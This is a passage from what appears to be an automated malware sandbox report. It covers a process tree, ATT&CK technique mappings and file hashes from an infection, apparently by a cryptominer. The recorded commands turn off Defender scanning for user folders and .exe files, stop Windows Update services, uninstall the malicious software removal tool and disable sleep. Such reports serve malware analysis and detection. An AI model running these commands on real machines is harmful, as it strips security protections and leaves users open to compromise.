      "schtasks.exe" /Create /TN "WindowsErrorHandler" /XML "C:\Users\Admin\AppData\Local\Temp\tmpD92A.tmp" /F
      4⤵
      Creates scheduled task(s)
      PID:1824
- C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe
  "C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4888
- - C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe
    "C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:5036
- C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe
  "C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3044

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4356

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa10aa46f8,0x7ffa10aa4708,0x7ffa10aa4718
1⤵
PID:3720

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://onepiecered.co/s?mH4q
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
  2⤵
  PID:4556
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3276 /prefetch:1
  2⤵
  PID:2552
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2528 /prefetch:8
  2⤵
  PID:556
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2096 /prefetch:2
  2⤵
  PID:3600
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5052 /prefetch:1
  2⤵
  PID:3644
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4540 /prefetch:1
  2⤵
  PID:2216
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5452 /prefetch:1
  2⤵
  PID:208
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5456 /prefetch:1
  2⤵
  PID:2436
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5900 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3592
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5900 /prefetch:8
  2⤵
  PID:3240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5756 /prefetch:1
  2⤵
  PID:4084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4544 /prefetch:1
  2⤵
  PID:2884
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4424 /prefetch:1
  2⤵
  PID:3680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4968 /prefetch:1
  2⤵
  PID:880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5524 /prefetch:1
  2⤵
  PID:3628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6140 /prefetch:1
  2⤵
  PID:4696
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6384 /prefetch:1
  2⤵
  PID:2328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5652 /prefetch:8
  2⤵
  - Modifies registry class
  PID:1384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4652 /prefetch:8
  2⤵
  PID:3968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6636 /prefetch:1
  2⤵
  PID:1952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
  2⤵
  PID:1908
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,6819683571672004493,10035457090177557573,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6372 /prefetch:1
  2⤵
  PID:936

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3012

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4736

C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe
C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:4568
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  PID:2368
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4772
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:5052
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2368
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4764
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3644
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3900
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:4704
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:912
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4708
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4688
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:4140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:4904

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:2436

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
1⤵
PID:1788

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
1⤵
PID:516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe

Filesize
468KB

MD5
5ffa05b32836fa14a53f823eae748588

SHA1
3c626f532525a0486b6c3e0fafb949ff79971205

SHA256
0e3778ad0495a4ee52b4aebe0a888a60659a1324b6602b989fc7475b1a48fae5

SHA512
9776fb7fe228e6b52b1562d8eed1974909784668e07c9be511296fc3d517e4fbd7ac4c5a6fa7690c4c7bcc44003d1fe71d6d8497ae11dfc0b4fa16b421394a90

Download Submit
C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe

Filesize
487KB

MD5
09fa7c06ba9cc24524ac7c88e08a8a9d

SHA1
b9201945f18a40e10d41a1274696425b66e59108

SHA256
3d55b3391594616c977007722702b66ff889f3ed28089cdc717834407e8f39c8

SHA512
08413083c2d0f3f5b2b79c1ad63bff8bd2d59b1a18d971c7a715a9e3985a5e7e4050ed61d3583990c29bc7e705a37bcbd819af52f8616384b4ff7aa841c11965

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\WinErrorMgr.exe.log

Filesize
226B

MD5
916851e072fbabc4796d8916c5131092

SHA1
d48a602229a690c512d5fdaf4c8d77547a88e7a2

SHA256
7e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d

SHA512
07ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
f246cc2c0e84109806d24fcf52bd0672

SHA1
8725d2b2477efe4f66c60e0f2028bf79d8b88e4e

SHA256
0c1014ae07c2077dd55d7386cc9cf9e0551be1d67fe05a6006957427ae09fec5

SHA512
dcf31357eb39a05213550a879941e2c039ec0ba41e4867d5d630807420f070289552d56d9f16c6d11edcdb0f9448bf51e7d2e460e88aa9c55a5bfe5d8d331640

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00004f

Filesize
91KB

MD5
af75c882d967e6a52c42c3e6948d781c

SHA1
20232725962f1bcfcc14b43c9e6b3cd7d834d130

SHA256
243e1c36aa5725047cee2846aa1df5ff3db95fcf3d943fe49ea133acb09742b6

SHA512
8dac832c1c70bb0331bc46747082d9ced5c66f72a1e6c4c1c61d7f1d70c9824946540cd94e4e057f84b4f61432b11bef22e7651d4162d00629080ee0bec64b66

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
72B

MD5
31d75ea005179b7b23b9bdc19b89195d

SHA1
c4c50cf90bde1df5a25098269ecdd6ce3cf70420

SHA256
dbe05a6335abc07f9c203b01d976b5ba245fd6fa0804e632c360cf172938d4cb

SHA512
23d8606e6a07d38545b43a58db610fcdaf04dc1b8bb1cf912c7540b623ea71b486a471d1c4450086a9e724ebc2484354cb9ecb1e2fc65083883a6f86ff1704af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
4KB

MD5
7a50d7f0317711f87354ae543c9e3c04

SHA1
68de638841f6983806e204d7e17438cc92929dcb

SHA256
8d3d8518dcae8ba351d99ec343efa090dba862340c289f3a81064fd10ff1c278

SHA512
b7f17c4073b1e5706756f1f550cf058f0565b34d2c6a0956b7a7aeecb3cda0a452b6c00aa0618d31ee22e1a590d435bf1519942d1c97ba11bf3ae4c66f8b53a6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
8KB

MD5
bc152588bdbf696a7ce3711643727df9

SHA1
2f473046e740378a2d56dc8a9ad0507c1b6fee81

SHA256
53778af4f9797ce4642197ae81360f3978a9e9cba3789abd489e5a47755650ca

SHA512
57b038229fe1780ec0481a2ad454db780a32c2e70ed4c2ecf1d3c03c0a674120d2d74098df58386380a58820894ebfbc389d5fe0bffd3dae9cb3ee2787e0bbef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
1760becb2513bad71659b164f19a5f98

SHA1
c4289d81ab62a461a825e1c3ecf1cd7ee0365c46

SHA256
615a37334494db8fafadaa7cee51c3ae6772665823d14f2e1f69db40c11e25e1

SHA512
6d6d1310df7e760a81c894cc3014395b8a9ecd41c4ea90f64bbbc91a3c5b26730d4d96c67623f84398b1a4d2f6ddb0e90359f0fe741882e7855cf33d4f9a1488

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
dc18277637dce07d1d7912eee9077fb2

SHA1
2ae00babc3f36277ead53d6be79312ba07caf745

SHA256
452f4bde99c3a759315a5db3f29a1be14a6ccd0559b5065711a2ba990a138a7a

SHA512
45038c7e7440e5739494d1e87b07c32309be6bf059a9d373a670ec6801206cf45976d0fe76361958600da01a138031801cfaaccc86e7622e82103746f75c1e75

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
8KB

MD5
ca41f4b50b1c19e5698f5a64913165d9

SHA1
cd4602370600ff4046eb077302ff393d71d887f4

SHA256
af58c4e19ee35c7f466cb2615f7f06b9543de2d7cf55a77e1eb5ece6a3fb3edb

SHA512
4362595475d6bdb76da8080502c42e63b84a727a9db07fddd8987ba733a3823cd4d1080b92271afc8aa3fbcd9a7e8f149e1ce0a3e6c33c1027592c01b90dd49d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
9654cdb225765c8aa0441a77a11fa09a

SHA1
2eb6e0bc6a1419c9fc08a65cec6900dff578aecd

SHA256
b3c54425c0646d56338a6fb91dad8eba2ebbb929d0a0de26ea68d646df827d7d

SHA512
4f7134616c3dcc2ab933b93e1ef79340c7813a5537c59eadfa6e8137e072dca44d2d72c1d584addd45f61eeb4fd72d460f5a085cf0a333d7ea490130ce4dfb5f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
35d9341b0e4bf3a1602819565f99a9f6

SHA1
46d171072c416d5965f907db1ec9ffa4cf990414

SHA256
afd6c1bd347e8d5712f7d54527a835b3f87dbb37561bcb7355e439827a287c70

SHA512
dc2100cf49f864f421ae11bafac50ba2cc358ccbdefa2b6814d77309e352c3b6c9a42f0b0b8cd0fd11d27882630590586e1a4e040208426ca81b17306ad7d5d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
5e62a6848f50c5ca5f19380c1ea38156

SHA1
1f5e7db8c292a93ae4a94a912dd93fe899f1ea6a

SHA256
23b683118f90c909ce86f9be9123ff6ac1355adb098ffbb09b9e5ec18fc2b488

SHA512
ce00590890ed908c18c3ec56df5f79c6c800e3bea2ad4629b9788b19bd1d9e94215fb991275e6ec5a58ac31b193e1c0b9cbaa52ff534319a5e76ec4fc8d3ba54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\c1eb0cde2406b6af565f825dcd492589d40ab644\index.txt

Filesize
93B

MD5
4ce9413a57ec7e70be0ca2f2e9c43e47

SHA1
9b63e08b9939c6998fb2d2e5638298804a98dbf6

SHA256
04bab20735f6e1037ffd8981726fbc86aafe3784dcee2e946a896bddd4c5825b

SHA512
b168fc57d7afde0f64a7de5b317892dceec8e50c6f23585786c8fefc574bb5bce2dfde8d4b12c581b5caf34e9e4dd64186a00a9ff7be5ea8dad3055e4237a42f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
72B

MD5
e58e207305d7822d398b32e07479dfd5

SHA1
449d84b6e2e62b816deae02d108ff172bd2eb551

SHA256
af14230b5067f16497169a29d16f489075201631ee48a38a923bc1a3b3b1bd1b

SHA512
debd5a630212436a17af4f24e3e1feff22b6f9614bd131dde19834fce6ac87155266a34d92b37fc24e51c066b62a2e470b247fb153ed8f1c0c96d1f211f5bc95

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58de84.TMP

Filesize
48B

MD5
2a5246a3d2f24281886d4df2ea276274

SHA1
82d08bb549084c9b7af44be0018b442082fdf39e

SHA256
efc86eea195dc24293897848d0a39a3c53f985ef50927491c4be06968c85d540

SHA512
541286aaf8c806960f6fdf52f4db782a1ccc98cf3a2568aab8d56f1e50f2778cd12c1060974ccb9ffe1175bd6a829bfb5b96a2d70d7af1e8da80bfb147ee3d3b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
3KB

MD5
14aae359cbf87a9b581b38c4d6115aeb

SHA1
9ba9af800f5e4321a7ffab11f6d97728e866fa7d

SHA256
45543d00dae6e6e77831961ab5c6e001d957080ee71f337bf20e86a884c78c69

SHA512
f3af3eedd3ac1558bcfd3f88801b85a171c8f5dd1473dfced3900a98d973666414706888efb5957358bf6383898c53ce1a713a0def6c25913b0031a2044ebb3d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
3KB

MD5
0cc4df331d058eb0ba1c9ceb6beb6887

SHA1
411593cea8f9281ea08372c745b050f08c3dc778

SHA256
d4207c34d28eed9f7fecd297ad72b59b892b0753ea6c23553210902f76900a91

SHA512
3d8fdfcbf7d680466793bd1ffa5e8f515e45161cff0147e111593336570131d6d03de50b7e3d74c58112daa9b8444799c3b19e57a4d954f3ea5a8f575cdea6a5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
3KB

MD5
0f48c0707a9e04dbeb7865ba2497f600

SHA1
529ded5cacbd7054d40f5fdb7173abcf5c047bf3

SHA256
a22414bc038b3d8fba6215cfcb7d12edcceec59260cd60101dae3e48b6f8c756

SHA512
dd245880c60ab72957daede8afcb03fecf405f960074ab44157192210334cb7095035819571abd273e091c45a5d2212ce1a7b0ae09de427383c64b53b7edae1d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe58a841.TMP

Filesize
204B

MD5
20f13c1e8d7cb44e74c2f68abce49555

SHA1
f45a2485a82830f882dbccb0562200ea32a3572a

SHA256
eddec9d345058e63ad26f5ec4a0063021494ef1f5bf1abe81a1df605528998ff

SHA512
c499cb139049af09facb12973bb233f0bf16645467986c7182d6105981b14fc826b0a3759e137cc709cf2e856b0ba8c6aeed73b32cf91ac9ce431dd1398119f0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
1b77a6f842ccffef2507561518464c48

SHA1
57976d516f369355fca3220d151fb3502e41234e

SHA256
b568fa28b98f83dcfa93742597de8560ea14913cef5fda4d2c0af5dd7e9b0e22

SHA512
9abae1f4a9e83551b29a88ff8afeeddfc261e3e8d3305ff3edc1b96f581bc21e080d0267c82de0b7f9b82ee8a52ff64d0c0fed9dc4d31154c7791f93a147326b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
89c04bde717507d73a8f3c1e0fad8d7c

SHA1
0fd5a7736ad13f2db9ad4ce7c79debc09af541c6

SHA256
8e6fec109538dfb831888d68c81d3b3570e531cf5c25999c3f933a36abd45708

SHA512
aa2e70b18603e7713504754fca882eaf42857d2fd3603e65729771e77576207fbec8733eec42697920ba47889e0948c2bcaee988ab2be8c01e2b3d2684faa092

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
5ad603baa39c62bb4b4f016f90c3b6f5

SHA1
8ed0f8734c127f40535474b72f24bc6881304586

